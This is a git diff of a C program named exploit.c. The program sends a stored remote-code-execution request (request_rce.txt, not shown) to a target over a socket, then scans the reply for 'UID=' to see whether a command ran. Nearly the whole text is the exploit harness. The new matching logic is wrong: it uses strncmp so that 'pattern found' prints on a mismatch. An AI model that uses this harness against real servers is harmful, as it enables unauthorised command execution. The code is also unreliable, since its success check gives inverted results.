diff --git a/exploit.c b/exploit.c index 53bf81a..72f3540 100644 --- a/exploit.c +++ b/exploit.c @@ -24,17 +24,16 @@ int main(int argc, char** argv){ int ret = connect(fd,(struct sockaddr*)&dest_addr, sizeof(dest_addr)); printf("ret_connect = %d\n", ret); - char buffer[1000]; - memset(buffer, 0, 100); - FILE* fichier_out = fopen("request_rce.txt", "r"); fseek(fichier_out, 0, SEEK_END); int size = fichier_out->_offset; char* file_buffer = malloc(size); + fseek(fichier_out, 0, SEEK_SET); fread(file_buffer, 1, size, fichier_out); + for (int i = 0; i < size; i++){ char c = file_buffer[i]; if (c == '\n') @@ -43,22 +42,28 @@ int main(int argc, char** argv){ send(fd, &c, 1, 0); } send(fd, "\r\n", 2, 0); - int n; + printf("recv:\n"); - const char* pattern_uid = "UID"; - while (( n = recv(fd, buffer, 1000, 0)) > 0){ - buffer[n] = 0; - int i = 0; - while (buffer[i] != 0){ - if (buffer[i] && buffer[i] == pattern_uid[0] && buffer[i+1] == pattern_uid[1] && buffer[i+2] == pattern_uid[2]){ - printf("UID found\n"); - break; - } - i++; - } - buffer[n] = 0; - memset(buffer, 0, 1000); - //printf("%s", buffer); + char c = 0; + int n = 0; + char* text = calloc(1, 1); + int len = 0; + while (( n = recv(fd, &c, 1, 0)) > 0){ + len = strlen(text) + 2; + text = realloc(text, len); + text[len - 2] = c; + text[len - 1] = 0; + } + int index = 0; + while (text[index]){ + if (text[index] == 'U'){ + if (strncmp(text + index, "UID=", 4)){ + printf("pattern found\n"); + break; + } + } + index++; + } fclose(fichier_out); free(file_buffer);